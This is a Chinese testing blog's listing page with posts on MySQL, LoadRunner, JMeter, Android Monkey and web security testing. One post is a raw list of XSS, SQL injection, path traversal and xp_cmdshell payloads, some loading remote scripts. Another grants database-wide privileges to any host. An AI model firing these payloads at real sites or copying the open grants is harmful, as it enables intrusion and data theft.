qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

Mysql数据库远程授权

  如果mysql不支持远程连接,会出现提示:错误代码是1130,ERROR 1130: Host 192.168.0.10 is not allowed to connect to this MySQL server ,解决此问题有以下2个方法:
  1、改表法:在本机登入mysql后,更改“mysql”数据库里的“user”表里的“host”项,从”localhost”改为'%'。
mysql>
mysql>use mysql;
mysql>select 'host' from user where user='root';        #查看mysql库中的user表的host值(即可进行连接访问的主机/IP名称)
mysql>update user set host = '%' where user ='root'; #修改host值(以通配符%的内容增加主机/IP地址,当然也可以直接增加某个特定IP地址,如果执行update语句时出现ERROR 1062 (23000): Duplicate entry '%-root' for key 'PRIMARY' 错误,需要select host from user where user = 'root';
  查看一下host是否已经有了%这个值,如果有了直接执行下面的flush privileges;即可)
mysql>flush privileges;
mysql>select host,user from user where user='root';
mysql>quit
  退出后会回到DOS正常的提示符状态,此时可以通过远程连接Mysql了!
  ========================================
  2. 授权法。例如,你想myuser使用mypassword从任何主机连接到mysql服务器的话。
  为mysql创建一个远程连接用户:
  grant all privileges on *.* to remoteuser@remoteIPAddr identified by 'password'; (remoteIPAddr是指远程客服端ip)
  例如:grant all privileges on *.* to myuser@192.168.0.10 identified by 'shihuan';
  GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'%' IDENTIFIED BY 'mypassword' WITH GRANT OPTION;
  如果你想允许用户myuser从ip为192.168.0.10的主机连接到mysql服务器,并使用mypassword作为密码
  GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'192.168.0.10' IDENTIFIED BY 'mypassword' WITH GRANT OPTION;
  我的mysql.user里root用户的host果然是localhost,先用改表法给localhost改成“%”,还是不行,仍然报1130的错误,又按“从任何主机连接到mysql服务器”方法授权,还是报一样的错,最后给自己的ip授权之后,终于登录上了。

posted @ 2014-02-14 11:40 顺其自然EVO 阅读(975) | 评论 (0)编辑 收藏

Elasticsearch Java虚拟机配置详解

     摘要: ElasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。支持通过HTTP使用JSON进行数据索引。  我们建立一个网站或应用程序,并要添加搜索功能,令我们受打击的是:搜索工作是很难的。我们希望我们的搜索解决方案要快,我们希望 有一个零配置和一个完全免费的搜索模式,我们希望能够简单地使用JSON通...  阅读全文

posted @ 2014-02-14 11:39 顺其自然EVO 阅读(9558) | 评论 (0)编辑 收藏

LoadRunner+Android模所器实现抓包并调试本地服务端

 为了测试Android软件的服务端的功能,需要重现某些客户端操作,便于发现功能问题,性能问题。也方便客户端与本机服务端特别是服务端代码进行断点调试。这个时候需要对网络操作进行重现。
  loadRunner是hp公司开发的压力测试工具。功能比较强大,能够启动程序并对其网张通信行为进行监控,抓包,并重放。
  0.Android模拟器创建虚拟设备。
  1.录制模拟器脚本设置
  新录制脚本时,程序类别选择Win32 Applications, 将记录的程序选到安卓模拟器程序emulator的本地路径地址,不知道怎么安装使用 安卓模拟器/loadRunner的请百度
  程序启动的参数填写你已经配置好的虚拟设置名,注意,参数前要加“@”符号。
  2.Loadrunner启动模拟器开始进入系统
  3.已进入系统


4.进入应用程序列表进入XX应用商店
  5.进入应用软件后,可以看到loadrunner已经捕获到了事件,对行为进行备注。
  6.捕获完成之后,查看生成的脚本。将脚本中网络连接的地址改成本机的。图中body部分为抓到的数据并Base64处理的结果。参见loadRunner帮助文档。
  7.去掉不相关的请求代码,运行脚本,loadRunner就会把捕获到的数据请求到你本地的站点上去。本地站点只要开发工具添加了断点调试,就可以一步一步调试了。或者完成你想要的功能。

posted @ 2014-02-14 11:37 顺其自然EVO 阅读(313) | 评论 (0)编辑 收藏

XSS跨站测试代码大全

‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
%0a%0a<script>alert(\”Vulnerable\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert(‘Vulnerable’);</script>
<script>alert(‘Vulnerable’)</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert(‘Vulnerable’)</script>
a/
a?<script>alert(‘Vulnerable’)</script>
“><script>alert(‘Vulnerable’)</script>
‘;exec%20master..xp_cmdshell%20′dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
”;!–”<XSS>=&{()}
<IMG src=”javascript:alert(‘XSS’);”>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(“XSS”)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=javascript:alert('XSS')>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
“<IMG src=java\0script:alert(\”XSS\”)>”;’ > out
<IMG src=” javascript:alert(‘XSS’);”>

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND src=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER src=”http://xss.ha.ckers.org/a.js”></layer>
<LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”>
<IMG src=’vbscript:msgbox(“XSS”)’>
<IMG src=”mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]

posted @ 2014-02-14 11:32 顺其自然EVO 阅读(3318) | 评论 (2)编辑 收藏

windows和linux中检查端口是否被占用

一、windows
  1、查询端口占用情况
  cmd > netstat -ano
  2、查询8080端口是否被占用
  cmd > netstat -ano|findstr 8080
  3、查询哪个程序占用了端口
  cmd > tasklist|findstr PID
  进程号通过2查询可以得到
  4、终止该占用进程
  cmd > ntsd -c q -p PID
  二、Linux
  1、查询8080端口是否被占用,并可以查看pid/程序名
  netstat -apn | grep 8080Q
  2、查看详细信息
  ps -ef | grep PID
  3、终止该进程
  kill -9 PID

posted @ 2014-02-13 16:10 顺其自然EVO 阅读(279) | 评论 (0)编辑 收藏

SAE python django 同步数据库到线上

<span style="font-family: Arial, Helvetica, sans-serif; background-color: #ffffff;"> django数据库建表不用写MYSQL语句,直接在models.py中定义好model类,然后执行 python manage.py syncdb 就可以直接自动创建对应的表了。如下代码所示</span>
class Publisher(models.Model):
name = models.CharField(max_length = 30)
address = models.CharField(max_length = 50)
city = models.CharField(max_length = 60)
state_province = models.CharField(max_length = 60)
country = models.CharField(max_length = 50)
website = models.URLField()
class Author(models.Model):
first_name = models.CharField(max_length = 30)
last_name = models.CharField(max_length = 40)
email = models.EmailField()
class Book(models.Model):
title = models.CharField(max_length = 50)
authors = models.ManyToManyField(Author)
publisher = models.ForeignKey(Publisher)
publish_date = models.DateField()
  就可以建立对应的四个MSQ表格,这种做法本地操作没问题,可以DJANGO项目部署到SAE上面如何实现呢?
  1. 本地得安装 SAE 环境
  2. settings.py 中加入以下代码
if True:
from sae._restful_mysql import monkey
monkey.patch()
MYSQL_HOST_M = 'w.rdc.sae.sina.com.cn'
MYSQL_PORT = '3307'
MYSQL_USER = 'APP_ACCESS'
MYSQL_PASS = 'APP_SECRET'
MYSQL_DB   = 'app_APP_NAME'
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': MYSQL_DB,
'USER': MYSQL_USER,
'PASSWORD': MYSQL_PASS,
'HOST': MYSQL_HOST_M,
'PORT': MYSQL_PORT,
}
}
  其中, APP_ACCESS, APP_SECRET, APP_NAME 都在sae的应用页可以看到,换成你应用的相关代码,然后执行 sync db 即可
  执行完之后, True 改成 False

posted @ 2014-02-13 16:09 顺其自然EVO 阅读(837) | 评论 (1)编辑 收藏

jMeter 测试结果字段意义

 JMeter 测试结果字段意义
  Lable :定义 HTTP 请求名称
  Samples :表示这次测试中一共发出了多少个请求
  Average :平均响应时长---默认情况下是单个Request的平均响应时长,当使用Transcation Controller时,也可以以Transcation为单位显示平均响应时长
  Median :中位数,也就是50%用户的响应时长
  90%Line :90%用户的响应时长
  Min:访问页面的最小响应时长
  Max:访问页面的最大响应时长
  Error% :错误请求的数量/请求的总数
  Throughput :默认情况下表示每秒完成的请求数(Request per Second),当使用了Transaction Controller时, 也可以表示类似LoadRunner的Transaction per Second 数
  KB/Sec :每秒从服务器端接收到的数据量

posted @ 2014-02-13 16:06 顺其自然EVO 阅读(309) | 评论 (0)编辑 收藏

Android Monkey测试

  Android中的monkey是对app做界面压力测试的一款工具,它可以向模拟器或者真机发送一系列随机的用户操作事件、或者系统事件。
  概述
  Monkey是android sdk自带的一款命令行工具,适用于任何android模拟器或者真机。它通过向手机发送一系列的随机事件,来测试手机app的稳定性。
  Monkey命令包含一些参数,大体可以分为四类:
  基本参数,如指定随机事件的个数
  操作约束,如限制随机操作在指定的包内
  事件类型和频率
  调试选项
  Monkey运行过程中,向android系统发送随机事件。并且,monkey会监视android系统的运行状态,保证下面的三点:
  如果我们限制了monkey只在一个或几个包中运行。那么monkey在运行过程中会监视产生的随机事件,如果某一事件会跳到其他包中,monkey就会丢弃该事件,确保monkey只在指定的包中运行。
  如果我们的程序出现crash或者有未被捕获的异常,monkey就会停止运行,并报错。
  如果我们的程序出现未响应,monkey会停止运行,并报错。
  Monkey的基本用法
  我们可以在直接在命令行或者脚本中运行monkey,前提是android sdk环境已经ok。
  基本语法如下:
  $ adb shell monkey [options]
  如果没有其他参数限制,monkey默认以quiet模式运行,它会随机向手机中的包发送请求。一般请求,我们都需要指定包名,下面的命令限制了包名,且指定产生500个随机事件:
  $ adb shell monkey -p com.yeetrack.android.client -v 500
  Monkey的参数
  下面列出了Monkey可以使用的参数。
  基本参数
  --help打印帮助文档
  -v命令行中的每一个-v将增加反馈信息的级别。Level 0(也是默认值)除启动提示、测试完成和最终结果之外,其他的信息很少。Level 1提供较为详细的测试信息,如逐个发送到Activity的事件。Level 2提供更加详细的设置信息,如测试中被选中的或未被选中的Activity,例子adb shell -v -v 500
  -s伪随机生成器的种子。如果seed值一样,那么产生的monkey事件,序列也是一样的
  --throttle <毫秒>在事件之间加入固定时间延迟,单位毫秒。如果不加,monkey会尽可能快地产生事件
  --pct-touch调整触摸事件的百分比(触摸就是一个点击事件)
  --pct-motion调整动作事件的百分比,(动作事件指一个down事件,一系列随机事件,然后一个up事件)
  --pct-trackball调整轨迹事件的百分比,(轨迹事件由一个或多个移动组成,有时伴随点击事件)
  --pct-nav调整基本导航事件的百分比,(导航事件就是方向键,上下左右)
  --pct-majornav调整主要导航事件的百分比(这些导航事件通常引发图形界面中的动作,如5-way键盘的中间按键,回退按键,菜单按键)
  --pct-syskeys调整系统按键事件的百分比(这些事件由系统保留,如Home、Back、Start、Call、End Call及音量控制键)
  --pct-appswitch调整启动activity的百分比。在随机间隔里,Monkey将执行一个startActivity()调用,作为最大程度覆盖保重全部Activity的一种方法。
  --pct-anyevent调整其他类型事件的百分比。包含了所有其他类型的事件,如按键、其他不常使用的设备按键、等。
  操作约束
  -p如果使用该参数指定了一个或几个包,monkey将只允许启动这些包中的activity。如果你的程序,需要访问别的activity(如联系人界面),那必须将联系人的包也指定一下,否则无法访问。如果没有指定包名,monkey将允许启动安装在手机上的所有包。如果要指定多个包,需要多个-p选项,每个-p指定一个包。
  -c如果使用此参数指定了一个或多个类别,Monkey将只允许系统启动被这些类别中的某个类别列出的Activity,如果不指定任何类别,Monkey将选择下列类别中列出的Activity:
  Intent.CATEGORY_LAUNCHER或Intent.CATEGORY_MONKEY。要指定多个类别,需要多个-c选项。

 调试选项
  --dbg-no-event设置此选项,Monkey将执行初始启动,进入到一个测试Activity,然后不再产生事件。为了得到最佳结果,把它与-v,一个或几个包约束,以及一个保持Monkey运行30秒或更长事件的非零值联合起来,从而提供一个环境,可以监视应用程序所调用的包之间的转换。
  --hprof设置此选项,将在Monkey事件序列之前和之后立即生成profiling报告。这将会在data/misc中生成大文件(5M),所以小心使用。
  --ignore-crashes通常,当被测app崩溃或者发生任何失控异常时,Monkey将停止运行。如果设置此选项,Monkey会继续向系统发送事件,直到计数完毕。
  --ignore-timeouts通常,当被测程序出现未响应时,Monkey会停止运行。如果设置此选项,Monkey会继续运行,直到结束。
  --ignore-security-excuptions通常,当被测程序发生可允许错误(如启动一个需要授权的Activity)时,Monkey将停止运行。如果设置此选项,Monkey将继续运行,直到结束。
  --kill-process-after-error通常,当Monkey由于一个错误而停止运行时,出错的应用程序将继续运行。如果设置此选项,将会通知系统停止发送错误的进程。注意:程序正常结束,该程序并没有被停止。设备只是在结束事件后,简单保持在最后的状态。
  --monitor-native-chrashes监视并报告Android系统中本地代码的崩溃事件。如果设置了–kill-process-after-error,系统将停止运行。
  --wait-dbg停止执行中的Monkey,直到有调试器和它相连。
  最后一个简单的例子:
  每0.5秒发送一个请求,包名com.yeetrack.android.app,总共发送请求2000个。
  adb shell monkey -v 2000 --throttle 500 -p com.yeetrack.android.app

posted @ 2014-02-13 16:02 顺其自然EVO 阅读(429) | 评论 (0)编辑 收藏

性能测试指标的获取

 一个好的性能测试必须要有明确而且全面的性能测试指标,而性能指标的获取常常困扰测试人员,这里简单说一下我在工作中所用到的方法:
  1. 有明确的性能测试需求文档
  这是测试人员希望看到的,产品经理通过需求的获取(或与客户的交流)定义明确的性能指标,如:在局域网中,用户身份验证要小于2秒。当然产品经理并不一定能够面面俱到,所以测试人员需要及时介入性能测试需求文档的review,根据经验从客户的角度挖掘更多更重要的性能指标。
  2. 无明确性能测试需求文档
  这种情况最是困扰测试人员,一般来说,我们可以从以下途径获取性能指标:
  a. 产品历史版本或相似版本的性能指标:比如可以借鉴历史版本中的用户并发指标。
  b. 分析客户数据:这种情况主要是从业务层面去分析客户数据,比如同时访问的最大值,同时在线的用户数。这种分析可以为测试人员提供负载测试的基准,但是还是需要考虑之后的扩展性(比如5年后,用户大概能达到多少,系统是否能够相应)。
  c. 运行基准测试:这种方式主要用在明确了负载而没有明确的指标衡量标准的情况,比如说在系统间传输N个大小为1M的消息,需要给出一个大概的传输时间。此时,我们需要运行基准测试,在没有其他外界干扰的情况下,观测传输一个1M消息文件所用的时间,以这个时间为基准来评估传输N个文件所用的时间。
  d. 业界的指标:其实业界对于业务层面的指标很难做到一致,但是对于一些操作系统指标大概还是有一个标准的,比如:CPU不能持续高于90%。
  e. 测试人员的经验,客户sense:这种情况也比较常见,尤其大众的产品,比如说移动应用软件,这种产品最难收集性能需求,但是另一方面,每个人又是用户,所以测试人员自己可以根据自己的感受提出相应的指标,然后汇总讨论,最终获取一些性能指标,待发布之后,如果用户再有其他的抱怨,可以修改等等。
版权声明:本文出自 AlvinXu 的51Testing软件测试博客:http://www.51testing.com/?554494

posted @ 2014-02-13 16:01 顺其自然EVO 阅读(463) | 评论 (0)编辑 收藏

web常见安全问题以及测试方法

  Web安全是我们测试组一直以来作为和性能测试并驾齐驱的两个重点。开发的过程中还需要着重注意,该转义的地方转义;该屏蔽的地方屏蔽,该过滤的地方过滤等等。年底又到了,势必又有大批的发号抽奖之类的活动开发、上线,在这个过程中,安全问题是我们每个人应该紧绷的神经,对于我们测试人员来说,每个活动需要做到手动安全测试加自动化安全测试相结合。
  常见的web安全问题有:
  SQL注入、跨站点脚本攻击、跨站点伪造请求、目录遍历、邮件表头注入、页面错误信息等。
  对于手动安全测试来说,一般常用的有三点:
  1、URL有参数的,手动修改参数,看是否得到其他用户的信息和相关页面;
  2、在登录输入框的地方输入‘ or 1=1--或 “ or 1=1--等看是否有SQL注入;
  3、在注重SQL注入的同时,一般在有输入框的地方输入
  对于自动化安全测试来说:
  测试组目前使用的安全测试工具为IBM的AppScan(当然,是破解版,34上已经放过该工具的安装包)
  1、在使用之前务必确认自己绑定的Host;
  2、配置URL、开发环境、错误显示类型;
  3、结果保存后可根据提示的问题类型和解决建议进行分析。
  Web安全测试通常要考虑的测试点:
  1、输入的数据没有进行有效的控制和验证
  2、用户名和密码
  3、直接输入需要权限的网页地址可以访问
  4、认证和会话数据作为GET的一部分来发送
  5、隐藏域与CGI参数
  6、上传文件没有限制
  7、把数据验证寄希望于客户端的验证
  8、跨站脚本(XSS)
  9、注入式漏洞(SQL注入)
  10、不恰当的异常处理
  11、不安全的存储
  12、不安全的配置管理
  13、传输中的密码没有加密
  14、弱密码,默认密码
  15、缓冲区溢出
  16、拒绝服务

posted @ 2014-02-13 16:01 顺其自然EVO 阅读(694) | 评论 (0)编辑 收藏

仅列出标题
共394页: First 上一页 149 150 151 152 153 154 155 156 157 下一页 Last 
<2024年11月>
272829303112
3456789
10111213141516
17181920212223
24252627282930
1234567

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜